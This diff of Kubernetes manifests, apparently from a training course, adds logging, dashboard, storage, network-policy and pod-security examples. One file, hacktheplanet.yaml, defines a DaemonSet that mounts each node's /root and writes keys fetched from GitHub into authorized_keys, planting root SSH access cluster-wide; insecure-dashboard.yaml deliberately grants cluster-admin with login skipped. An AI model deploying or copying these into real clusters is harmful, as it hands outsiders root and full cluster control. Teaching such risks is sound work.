+      hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
+      username: ${ELASTICSEARCH_USERNAME}
+      password: ${ELASTICSEARCH_PASSWORD}
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: filebeat-inputs
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+data:
+  kubernetes.yml: |-
+    - type: docker
+      containers.ids:
+      - "*"
+      processors:
+        - add_kubernetes_metadata:
+            in_cluster: true
+---
+apiVersion: extensions/v1beta1
+kind: DaemonSet
+metadata:
+  name: filebeat
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+spec:
+  template:
+    metadata:
+      labels:
+        k8s-app: filebeat
+    spec:
+      serviceAccountName: filebeat
+      terminationGracePeriodSeconds: 30
+      containers:
+      - name: filebeat
+        image: docker.elastic.co/beats/filebeat-oss:7.0.1
+        args: [
+          "-c", "/etc/filebeat.yml",
+          "-e",
+        ]
+        env:
+        - name: ELASTICSEARCH_HOST
+          value: elasticsearch-es.default.svc.cluster.local
+        - name: ELASTICSEARCH_PORT
+          value: "9200"
+        - name: ELASTICSEARCH_USERNAME
+          value: elastic
+        - name: ELASTICSEARCH_PASSWORD
+          value: changeme
+        - name: ELASTIC_CLOUD_ID
+          value:
+        - name: ELASTIC_CLOUD_AUTH
+          value:
+        securityContext:
+          runAsUser: 0
+          # If using Red Hat OpenShift uncomment this:
+          #privileged: true
+        resources:
+          limits:
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 100Mi
+        volumeMounts:
+        - name: config
+          mountPath: /etc/filebeat.yml
+          readOnly: true
+          subPath: filebeat.yml
+        - name: inputs
+          mountPath: /usr/share/filebeat/inputs.d
+          readOnly: true
+        - name: data
+          mountPath: /usr/share/filebeat/data
+        - name: varlibdockercontainers
+          mountPath: /var/lib/docker/containers
+          readOnly: true
+      volumes:
+      - name: config
+        configMap:
+          defaultMode: 0600
+          name: filebeat-config
+      - name: varlibdockercontainers
+        hostPath:
+          path: /var/lib/docker/containers
+      - name: inputs
+        configMap:
+          defaultMode: 0600
+          name: filebeat-inputs
+      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
+      - name: data
+        hostPath:
+          path: /var/lib/filebeat-data
+          type: DirectoryOrCreate
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRoleBinding
+metadata:
+  name: filebeat
+subjects:
+- kind: ServiceAccount
+  name: filebeat
+  namespace: kube-system
+roleRef:
+  kind: ClusterRole
+  name: filebeat
+  apiGroup: rbac.authorization.k8s.io
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRole
+metadata:
+  name: filebeat
+  labels:
+    k8s-app: filebeat
+rules:
+- apiGroups: [""] # "" indicates the core API group
+  resources:
+  - namespaces
+  - pods
+  verbs:
+  - get
+  - watch
+  - list
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: filebeat
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+---

k8s/hacktheplanet.yaml

@@ -0,0 +1,34 @@
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: hacktheplanet
+spec:
+  selector:
+    matchLabels:
+      app: hacktheplanet
+  template:
+    metadata:
+      labels:
+        app: hacktheplanet
+    spec:
+      volumes:
+      - name: root
+        hostPath:
+          path: /root
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      initContainers:
+      - name: hacktheplanet
+        image: alpine
+        volumeMounts:
+        - name: root
+          mountPath: /root
+        command:
+        - sh
+        - -c
+        - "apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
+      containers:
+      - name: web
+        image: nginx
+

k8s/haproxy.cfg

@@ -14,5 +14,5 @@ frontend the-frontend
 
 backend the-backend
   server google.com-80 google.com:80 maxconn 32 check
-  server bing.com-80 bing.com:80 maxconn 32 check
+  server ibm.fr-80 ibm.fr:80 maxconn 32 check
 

k8s/haproxy.yaml

@@ -9,7 +9,7 @@ spec:
       name: haproxy
   containers:
   - name: haproxy
-    image: haproxy
+    image: haproxy:1
     volumeMounts:
     - name: config
       mountPath: /usr/local/etc/haproxy/

k8s/ingress.yaml

@@ -1,14 +1,13 @@
-apiVersion: extensions/v1beta1
+apiVersion: networking.k8s.io/v1beta1
 kind: Ingress
 metadata:
-  name: cheddar
+  name: whatever
 spec:
   rules:
-  - host: cheddar.A.B.C.D.nip.io
+  - host: whatever.A.B.C.D.nip.io
     http:
       paths:
       - path: /
         backend:
-          serviceName: cheddar
-          servicePort: 80
-
+          serviceName: whatever
+          servicePort: 1234

k8s/insecure-dashboard.yaml

@@ -0,0 +1,360 @@
+# Copyright 2017 The Kubernetes Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: kubernetes-dashboard
+
+---
+
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  labels:
+    k8s-app: kubernetes-dashboard
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+
+---
+
+kind: Service
+apiVersion: v1
+metadata:
+  labels:
+    k8s-app: kubernetes-dashboard
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  ports:
+    - port: 443
+      targetPort: 8443
+  selector:
+    k8s-app: kubernetes-dashboard
+
+---
+
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    k8s-app: kubernetes-dashboard
+  name: kubernetes-dashboard-certs
+  namespace: kubernetes-dashboard
+type: Opaque
+
+---
+
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    k8s-app: kubernetes-dashboard
+  name: kubernetes-dashboard-csrf
+  namespace: kubernetes-dashboard
+type: Opaque
+data:
+  csrf: ""
+
+---
+
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    k8s-app: kubernetes-dashboard
+  name: kubernetes-dashboard-key-holder
+  namespace: kubernetes-dashboard
+type: Opaque
+
+---
+
+kind: ConfigMap
+apiVersion: v1
+metadata:
+  labels:
+    k8s-app: kubernetes-dashboard
+  name: kubernetes-dashboard-settings
+  namespace: kubernetes-dashboard
+
+---
+
+kind: Role
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  labels:
+    k8s-app: kubernetes-dashboard
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+rules:
+  # Allow Dashboard to get, update and delete Dashboard exclusive secrets.
+  - apiGroups: [""]
+    resources: ["secrets"]
+    resourceNames: ["kubernetes-dashboard-key-holder", "kubernetes-dashboard-certs", "kubernetes-dashboard-csrf"]
+    verbs: ["get", "update", "delete"]
+    # Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map.
+  - apiGroups: [""]
+    resources: ["configmaps"]
+    resourceNames: ["kubernetes-dashboard-settings"]
+    verbs: ["get", "update"]
+    # Allow Dashboard to get metrics.
+  - apiGroups: [""]
+    resources: ["services"]
+    resourceNames: ["heapster", "dashboard-metrics-scraper"]
+    verbs: ["proxy"]
+  - apiGroups: [""]
+    resources: ["services/proxy"]
+    resourceNames: ["heapster", "http:heapster:", "https:heapster:", "dashboard-metrics-scraper", "http:dashboard-metrics-scraper"]
+    verbs: ["get"]
+
+---
+
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  labels:
+    k8s-app: kubernetes-dashboard
+  name: kubernetes-dashboard
+rules:
+  # Allow Metrics Scraper to get metrics from the Metrics server
+  - apiGroups: ["metrics.k8s.io"]
+    resources: ["pods", "nodes"]
+    verbs: ["get", "list", "watch"]
+
+---
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  labels:
+    k8s-app: kubernetes-dashboard
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: kubernetes-dashboard
+subjects:
+  - kind: ServiceAccount
+    name: kubernetes-dashboard
+    namespace: kubernetes-dashboard
+
+---
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: kubernetes-dashboard
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubernetes-dashboard
+subjects:
+  - kind: ServiceAccount
+    name: kubernetes-dashboard
+    namespace: kubernetes-dashboard
+
+---
+
+kind: Deployment
+apiVersion: apps/v1
+metadata:
+  labels:
+    k8s-app: kubernetes-dashboard
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  replicas: 1
+  revisionHistoryLimit: 10
+  selector:
+    matchLabels:
+      k8s-app: kubernetes-dashboard
+  template:
+    metadata:
+      labels:
+        k8s-app: kubernetes-dashboard
+    spec:
+      containers:
+        - name: kubernetes-dashboard
+          image: kubernetesui/dashboard:v2.0.0-rc2
+          imagePullPolicy: Always
+          ports:
+            - containerPort: 8443
+              protocol: TCP
+          args:
+            - --auto-generate-certificates
+            - --namespace=kubernetes-dashboard
+            # Uncomment the following line to manually specify Kubernetes API server Host
+            # If not specified, Dashboard will attempt to auto discover the API server and connect
+            # to it. Uncomment only if the default does not work.
+            # - --apiserver-host=http://my-address:port
+            - --enable-skip-login
+          volumeMounts:
+            - name: kubernetes-dashboard-certs
+              mountPath: /certs
+              # Create on-disk volume to store exec logs
+            - mountPath: /tmp
+              name: tmp-volume
+          livenessProbe:
+            httpGet:
+              scheme: HTTPS
+              path: /
+              port: 8443
+            initialDelaySeconds: 30
+            timeoutSeconds: 30
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            runAsUser: 1001
+            runAsGroup: 2001
+      volumes:
+        - name: kubernetes-dashboard-certs
+          secret:
+            secretName: kubernetes-dashboard-certs
+        - name: tmp-volume
+          emptyDir: {}
+      serviceAccountName: kubernetes-dashboard
+      nodeSelector:
+        "beta.kubernetes.io/os": linux
+      # Comment the following tolerations if Dashboard must not be deployed on master
+      tolerations:
+        - key: node-role.kubernetes.io/master
+          effect: NoSchedule
+
+---
+
+kind: Service
+apiVersion: v1
+metadata:
+  labels:
+    k8s-app: dashboard-metrics-scraper
+  name: dashboard-metrics-scraper
+  namespace: kubernetes-dashboard
+spec:
+  ports:
+    - port: 8000
+      targetPort: 8000
+  selector:
+    k8s-app: dashboard-metrics-scraper
+
+---
+
+kind: Deployment
+apiVersion: apps/v1
+metadata:
+  labels:
+    k8s-app: dashboard-metrics-scraper
+  name: dashboard-metrics-scraper
+  namespace: kubernetes-dashboard
+spec:
+  replicas: 1
+  revisionHistoryLimit: 10
+  selector:
+    matchLabels:
+      k8s-app: dashboard-metrics-scraper
+  template:
+    metadata:
+      labels:
+        k8s-app: dashboard-metrics-scraper
+      annotations:
+        seccomp.security.alpha.kubernetes.io/pod: 'runtime/default'
+    spec:
+      containers:
+        - name: dashboard-metrics-scraper
+          image: kubernetesui/metrics-scraper:v1.0.2
+          ports:
+            - containerPort: 8000
+              protocol: TCP
+          livenessProbe:
+            httpGet:
+              scheme: HTTP
+              path: /
+              port: 8000
+            initialDelaySeconds: 30
+            timeoutSeconds: 30
+          volumeMounts:
+          - mountPath: /tmp
+            name: tmp-volume
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            runAsUser: 1001
+            runAsGroup: 2001
+      serviceAccountName: kubernetes-dashboard
+      nodeSelector:
+        "beta.kubernetes.io/os": linux
+      # Comment the following tolerations if Dashboard must not be deployed on master
+      tolerations:
+        - key: node-role.kubernetes.io/master
+          effect: NoSchedule
+      volumes:
+        - name: tmp-volume
+          emptyDir: {}
+
+---
+
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: dashboard
+  name: dashboard
+spec:
+  selector:
+    matchLabels:
+      app: dashboard
+  template:
+    metadata:
+      labels:
+        app: dashboard
+    spec:
+      containers:
+      - args:
+        - sh
+        - -c
+        - apk add --no-cache socat && socat TCP-LISTEN:80,fork,reuseaddr OPENSSL:kubernetes-dashboard.kubernetes-dashboard:443,verify=0
+        image: alpine
+        name: dashboard
+
+---
+
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: dashboard
+  name: dashboard
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: dashboard
+  type: NodePort
+
+---
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: insecure-dashboard
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard

k8s/just-a-pod.yaml

@@ -0,0 +1,10 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: hello
+  namespace: default
+spec:
+  containers:
+  - name: hello
+    image: nginx
+

k8s/kaniko-build.yaml

@@ -19,7 +19,7 @@ spec:
     image: gcr.io/kaniko-project/executor:latest
     args:
       - "--context=/workspace/dockercoins/rng"
-      - "--skip-tls-verify"
+      - "--insecure"
       - "--destination=registry:5000/rng-kaniko:latest"
     volumeMounts:
     - name: workspace

k8s/kubernetes-dashboard.yaml

@@ -12,11 +12,6 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-# Configuration to deploy release version of the Dashboard UI compatible with
-# Kubernetes 1.8.
-#
-# Example usage: kubectl create -f <this_file>
-
 # ------------------- Dashboard Secret ------------------- #
 
 apiVersion: v1
@@ -95,7 +90,7 @@ subjects:
 # ------------------- Dashboard Deployment ------------------- #
 
 kind: Deployment
-apiVersion: apps/v1beta2
+apiVersion: apps/v1
 metadata:
   labels:
     k8s-app: kubernetes-dashboard
@@ -114,7 +109,7 @@ spec:
     spec:
       containers:
       - name: kubernetes-dashboard
-        image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.8.3
+        image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1
         ports:
         - containerPort: 8443
           protocol: TCP

k8s/local-path-storage.yaml

@@ -0,0 +1,110 @@
+# This is a local copy of:
+# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: local-path-storage
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: local-path-provisioner-service-account
+  namespace: local-path-storage
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRole
+metadata:
+  name: local-path-provisioner-role
+  namespace: local-path-storage
+rules:
+- apiGroups: [""]
+  resources: ["nodes", "persistentvolumeclaims"]
+  verbs: ["get", "list", "watch"]
+- apiGroups: [""]
+  resources: ["endpoints", "persistentvolumes", "pods"]
+  verbs: ["*"]
+- apiGroups: [""]
+  resources: ["events"]
+  verbs: ["create", "patch"]
+- apiGroups: ["storage.k8s.io"]
+  resources: ["storageclasses"]
+  verbs: ["get", "list", "watch"]
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRoleBinding
+metadata:
+  name: local-path-provisioner-bind
+  namespace: local-path-storage
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: local-path-provisioner-role
+subjects:
+- kind: ServiceAccount
+  name: local-path-provisioner-service-account
+  namespace: local-path-storage
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: local-path-provisioner
+  namespace: local-path-storage
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: local-path-provisioner
+  template:
+    metadata:
+      labels:
+        app: local-path-provisioner
+    spec:
+      serviceAccountName: local-path-provisioner-service-account
+      containers:
+      - name: local-path-provisioner
+        image: rancher/local-path-provisioner:v0.0.8
+        imagePullPolicy: Always
+        command:
+        - local-path-provisioner
+        - --debug
+        - start
+        - --config
+        - /etc/config/config.json
+        volumeMounts:
+        - name: config-volume
+          mountPath: /etc/config/
+        env:
+        - name: POD_NAMESPACE
+          valueFrom:
+            fieldRef:
+              fieldPath: metadata.namespace
+      volumes:
+        - name: config-volume
+          configMap:
+            name: local-path-config
+---
+apiVersion: storage.k8s.io/v1
+kind: StorageClass
+metadata:
+  name: local-path
+provisioner: rancher.io/local-path
+volumeBindingMode: WaitForFirstConsumer
+reclaimPolicy: Delete
+---
+kind: ConfigMap
+apiVersion: v1
+metadata:
+  name: local-path-config
+  namespace: local-path-storage
+data:
+  config.json: |-
+        {
+                "nodePathMap":[
+                {
+                        "node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
+                        "paths":["/opt/local-path-provisioner"]
+                }
+                ]
+        }
+

k8s/metrics-server.yaml

@@ -0,0 +1,138 @@
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: system:aggregated-metrics-reader
+  labels:
+    rbac.authorization.k8s.io/aggregate-to-view: "true"
+    rbac.authorization.k8s.io/aggregate-to-edit: "true"
+    rbac.authorization.k8s.io/aggregate-to-admin: "true"
+rules:
+- apiGroups: ["metrics.k8s.io"]
+  resources: ["pods"]
+  verbs: ["get", "list", "watch"]
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: ClusterRoleBinding
+metadata:
+  name: metrics-server:system:auth-delegator
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: system:auth-delegator
+subjects:
+- kind: ServiceAccount
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: rbac.authorization.k8s.io/v1beta1
+kind: RoleBinding
+metadata:
+  name: metrics-server-auth-reader
+  namespace: kube-system
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: extension-apiserver-authentication-reader
+subjects:
+- kind: ServiceAccount
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: apiregistration.k8s.io/v1beta1
+kind: APIService
+metadata:
+  name: v1beta1.metrics.k8s.io
+spec:
+  service:
+    name: metrics-server
+    namespace: kube-system
+  group: metrics.k8s.io
+  version: v1beta1
+  insecureSkipTLSVerify: true
+  groupPriorityMinimum: 100
+  versionPriority: 100
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: metrics-server
+  namespace: kube-system
+  labels:
+    k8s-app: metrics-server
+spec:
+  selector:
+    matchLabels:
+      k8s-app: metrics-server
+  template:
+    metadata:
+      name: metrics-server
+      labels:
+        k8s-app: metrics-server
+    spec:
+      serviceAccountName: metrics-server
+      volumes:
+      # mount in tmp so we can safely use from-scratch images and/or read-only containers
+      - name: tmp-dir
+        emptyDir: {}
+      containers:
+      - name: metrics-server
+        image: k8s.gcr.io/metrics-server-amd64:v0.3.3
+        imagePullPolicy: Always
+        volumeMounts:
+        - name: tmp-dir
+          mountPath: /tmp
+        args:
+        - --kubelet-preferred-address-types=InternalIP
+        - --kubelet-insecure-tls
+        - --metric-resolution=5s
+
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: metrics-server
+  namespace: kube-system
+  labels:
+    kubernetes.io/name: "Metrics-server"
+spec:
+  selector:
+    k8s-app: metrics-server
+  ports:
+  - port: 443
+    protocol: TCP
+    targetPort: 443
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: system:metrics-server
+rules:
+- apiGroups:
+  - ""
+  resources:
+  - pods
+  - nodes
+  - nodes/stats
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: system:metrics-server
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: system:metrics-server
+subjects:
+- kind: ServiceAccount
+  name: metrics-server
+  namespace: kube-system

k8s/netpol-allow-testcurl-for-testweb.yaml

@@ -5,7 +5,7 @@ metadata:
 spec:
   podSelector:
     matchLabels:
-      run: testweb
+      app: testweb
   ingress:
   - from:
     - podSelector:

k8s/netpol-deny-all-for-testweb.yaml

@@ -5,6 +5,6 @@ metadata:
 spec:
   podSelector:
     matchLabels:
-      run: testweb
+      app: testweb
   ingress: []
 

k8s/netpol-dockercoins.yaml

@@ -16,7 +16,7 @@ metadata:
 spec:
   podSelector:
     matchLabels:
-      run: webui
+      app: webui
   ingress:
   - from: []
 

k8s/nginx-1-without-volume.yaml

@@ -0,0 +1,8 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-without-volume
+spec:
+  containers:
+  - name: nginx
+    image: nginx

k8s/nginx-2-with-volume.yaml

@@ -0,0 +1,13 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-with-volume
+spec:
+  volumes:
+  - name: www
+  containers:
+  - name: nginx
+    image: nginx
+    volumeMounts:
+    - name: www
+      mountPath: /usr/share/nginx/html/

k8s/nginx-3-with-git.yaml

@@ -0,0 +1,21 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-with-git
+spec:
+  volumes:
+  - name: www
+  containers:
+  - name: nginx
+    image: nginx
+    volumeMounts:
+    - name: www
+      mountPath: /usr/share/nginx/html/
+  - name: git
+    image: alpine
+    command: [ "sh", "-c", "apk add git && git clone https://github.com/octocat/Spoon-Knife /www" ]
+    volumeMounts:
+    - name: www
+      mountPath: /www/
+  restartPolicy: OnFailure
+

k8s/nginx-4-with-init.yaml

@@ -1,7 +1,7 @@
 apiVersion: v1
 kind: Pod
 metadata:
-  name: nginx-with-volume
+  name: nginx-with-init
 spec:
   volumes:
   - name: www
@@ -11,11 +11,10 @@ spec:
     volumeMounts:
     - name: www
       mountPath: /usr/share/nginx/html/
+  initContainers:
   - name: git
     image: alpine
     command: [ "sh", "-c", "apk add --no-cache git && git clone https://github.com/octocat/Spoon-Knife /www" ]
     volumeMounts:
     - name: www
       mountPath: /www/
-  restartPolicy: OnFailure
-

k8s/persistent-consul.yaml

@@ -0,0 +1,98 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: persistentconsul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: persistentconsul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: persistentconsul
+subjects:
+  - kind: ServiceAccount
+    name: persistentconsul
+    namespace: default
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: persistentconsul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: persistentconsul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: persistentconsul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: persistentconsul
+spec:
+  serviceName: persistentconsul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: persistentconsul
+  volumeClaimTemplates:
+    - metadata:
+        name: data
+      spec:
+        accessModes:
+          - ReadWriteOnce
+        resources:
+          requests:
+            storage: 1Gi
+  template:
+    metadata:
+      labels:
+        app: persistentconsul
+    spec:
+      serviceAccountName: persistentconsul
+      affinity:
+        podAntiAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            - labelSelector:
+                matchExpressions:
+                  - key: app
+                    operator: In
+                    values:
+                      - persistentconsul
+              topologyKey: kubernetes.io/hostname
+      terminationGracePeriodSeconds: 10
+      containers:
+        - name: consul
+          image: "consul:1.6"
+          volumeMounts:
+            - name: data
+              mountPath: /consul/data
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=persistentconsul\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"
+          lifecycle:
+            preStop:
+              exec:
+                command:
+                - /bin/sh
+                - -c
+                - consul leave

k8s/postgres.yaml

@@ -12,12 +12,19 @@ spec:
       labels:
         app: postgres
     spec:
-      schedulerName: stork
+      #schedulerName: stork
+      initContainers:
+      - name: rmdir
+        image: alpine
+        volumeMounts:
+        - mountPath: /vol
+          name: postgres
+        command: ["sh", "-c", "if [ -d /vol/lost+found ]; then rmdir /vol/lost+found; fi"]
       containers:
       - name: postgres
-        image: postgres:10.5
+        image: postgres:11
         volumeMounts:
-        - mountPath: /var/lib/postgresql
+        - mountPath: /var/lib/postgresql/data
           name: postgres
   volumeClaimTemplates:
   - metadata:

k8s/psp-privileged.yaml

@@ -0,0 +1,39 @@
+---
+apiVersion: policy/v1beta1
+kind: PodSecurityPolicy
+metadata:
+  name: privileged
+  annotations:
+    seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
+spec:
+  privileged: true
+  allowPrivilegeEscalation: true
+  allowedCapabilities:
+  - '*'
+  volumes:
+  - '*'
+  hostNetwork: true
+  hostPorts:
+  - min: 0
+    max: 65535
+  hostIPC: true
+  hostPID: true
+  runAsUser:
+    rule: 'RunAsAny'
+  seLinux:
+    rule: 'RunAsAny'
+  supplementalGroups:
+    rule: 'RunAsAny'
+  fsGroup:
+    rule: 'RunAsAny'
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: psp:privileged
+rules:
+- apiGroups:     ['policy']
+  resources:     ['podsecuritypolicies']
+  verbs:         ['use']
+  resourceNames: ['privileged']
+

k8s/psp-restricted.yaml

@@ -0,0 +1,38 @@
+---
+apiVersion: extensions/v1beta1
+kind: PodSecurityPolicy
+metadata:
+  annotations:
+    apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
+    apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
+    seccomp.security.alpha.kubernetes.io/allowedProfileNames: docker/default
+    seccomp.security.alpha.kubernetes.io/defaultProfileName: docker/default
+  name: restricted
+spec:
+  allowPrivilegeEscalation: false
+  fsGroup:
+    rule: RunAsAny
+  runAsUser:
+    rule: RunAsAny
+  seLinux:
+    rule: RunAsAny
+  supplementalGroups:
+    rule: RunAsAny
+  volumes:
+  - configMap
+  - emptyDir
+  - projected
+  - secret
+  - downwardAPI
+  - persistentVolumeClaim
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: psp:restricted
+rules:
+- apiGroups:     ['policy']
+  resources:     ['podsecuritypolicies']
+  verbs:         ['use']
+  resourceNames: ['restricted']
+

k8s/socat.yaml

@@ -6,7 +6,7 @@ metadata:
   creationTimestamp: null
   generation: 1
   labels:
-    run: socat
+    app: socat
   name: socat
   namespace: kube-system
   selfLink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/socat
@@ -14,7 +14,7 @@ spec:
   replicas: 1
   selector:
     matchLabels:
-      run: socat
+      app: socat
   strategy:
     rollingUpdate:
       maxSurge: 1
@@ -24,7 +24,7 @@ spec:
     metadata:
       creationTimestamp: null
       labels:
-        run: socat
+        app: socat
     spec:
       containers:
       - args:
@@ -49,7 +49,7 @@ kind: Service
 metadata:
   creationTimestamp: null
   labels:
-    run: socat
+    app: socat
   name: socat
   namespace: kube-system
   selfLink: /api/v1/namespaces/kube-system/services/socat
@@ -60,7 +60,7 @@ spec:
     protocol: TCP
     targetPort: 80
   selector:
-    run: socat
+    app: socat
   sessionAffinity: None
   type: NodePort
 status:

k8s/traefik.yaml

@@ -6,13 +6,16 @@ metadata:
   namespace: kube-system
 ---
 kind: DaemonSet
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 metadata:
   name: traefik-ingress-controller
   namespace: kube-system
   labels:
     k8s-app: traefik-ingress-lb
 spec:
+  selector:
+    matchLabels:
+      k8s-app: traefik-ingress-lb
   template:
     metadata:
       labels:
@@ -26,7 +29,7 @@ spec:
       serviceAccountName: traefik-ingress-controller
       terminationGracePeriodSeconds: 60
       containers:
-      - image: traefik
+      - image: traefik:1.7
         name: traefik-ingress-lb
         ports:
         - name: http

k8s/users:jean.doe.yaml

@@ -0,0 +1,33 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: jean.doe
+  namespace: users
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: users:jean.doe
+rules:
+- apiGroups: [ certificates.k8s.io ]
+  resources: [ certificatesigningrequests ]
+  verbs:     [ create ]
+- apiGroups:     [ certificates.k8s.io ]
+  resourceNames: [ users:jean.doe ]
+  resources:     [ certificatesigningrequests ]
+  verbs:         [ get, create, delete, watch ]
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: users:jean.doe
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: users:jean.doe
+subjects:
+- kind: ServiceAccount
+  name: jean.doe
+  namespace: users
+

k8s/volumes-for-consul.yaml

@@ -0,0 +1,70 @@
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+  name: consul-node2
+  annotations:
+    node: node2
+spec:
+  capacity:
+    storage: 10Gi
+  accessModes:
+  - ReadWriteOnce
+  persistentVolumeReclaimPolicy: Delete
+  local:
+    path: /mnt/consul
+  nodeAffinity:
+    required:
+      nodeSelectorTerms:
+      - matchExpressions:
+        - key: kubernetes.io/hostname
+          operator: In
+          values:
+          - node2
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+  name: consul-node3
+  annotations:
+    node: node3
+spec:
+  capacity:
+    storage: 10Gi
+  accessModes:
+  - ReadWriteOnce
+  persistentVolumeReclaimPolicy: Delete
+  local:
+    path: /mnt/consul
+  nodeAffinity:
+    required:
+      nodeSelectorTerms:
